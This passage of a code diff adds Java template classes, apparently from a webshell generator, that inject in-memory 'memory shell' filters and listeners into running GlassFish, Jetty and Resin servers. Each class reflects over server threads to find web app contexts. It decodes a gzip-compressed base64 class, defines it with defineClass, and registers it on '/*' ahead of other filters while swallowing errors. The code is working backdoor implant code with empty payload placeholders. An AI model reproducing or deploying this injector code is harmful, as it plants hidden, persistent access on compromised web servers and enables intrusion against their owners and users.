Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,193 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishListenerInjectorTpl();
}
public GlassFishListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Exception ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
try {
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
boolean isExist = false;
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
isExist = true;
break;
}
}
if (!isExist) {
eventListeners.add((EventListener) listener);
}
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,297 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v8、v9
*/
public class JettyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyFilterInjectorTpl();
}
public JettyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
String filterName = getFilterName(getClassName());
Class filterClass = magicFilter.getClass();
try {
Object servletHandler = getFV(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler, filterClass.getName())) {
return;
}
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
Constructor constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 3. 修改Filter的优先级为第一位
Object filterMaps = getFV(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String _filterName = (String) getFV(filter, "_filterName");
if (_filterName.contains(filterClass.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
n++;
}
}
for (int j = 0; j < tmpFilterMaps.length; j++) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (Exception ignored) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception e1) {
e1.printStackTrace();
}
}
return filter;
}
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
try {
Object filterMaps = getFV(servletHandler, "_filterMappings");
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFV(filter, "_filterName");
if (filterName.contains(filterClassName)) {
return true;
}
}
} catch (Exception e) {
return false;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,251 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8、v9
*/
public class JettyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyListenerInjectorTpl();
}
public JettyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception e) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public static void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Exception e) {
}
}
public static boolean isInjected(Object context, String className) throws Exception {
try {
// jetty v8、 v9
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
for (int i = 0; i < eventListeners.length; i++) {
if (eventListeners[i].getClass().getName().contains(className)) {
return true;
}
}
} catch (Exception e) {
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,221 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class ResinFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinFilterInjectorTpl();
}
public ResinFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
private void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Class filterMappingClass;
try {
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
} catch (Exception e) {
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
}
Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
invokeMethod(urlPattern, "init");
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
invokeMethod(context, "clearCache");
} catch (Throwable e) {
}
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
// Handle exception
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
for (String key : filters.keySet()) {
if (key.contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,188 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class ResinListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinListenerInjectorTpl();
}
public ResinListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
private void injectListener(Object context, Object listener) throws Exception {
if (!isInjected(context, listener.getClass().getName())) {
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存,否则某些 uri 无法连接
invokeMethod(context, "clearCache");
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
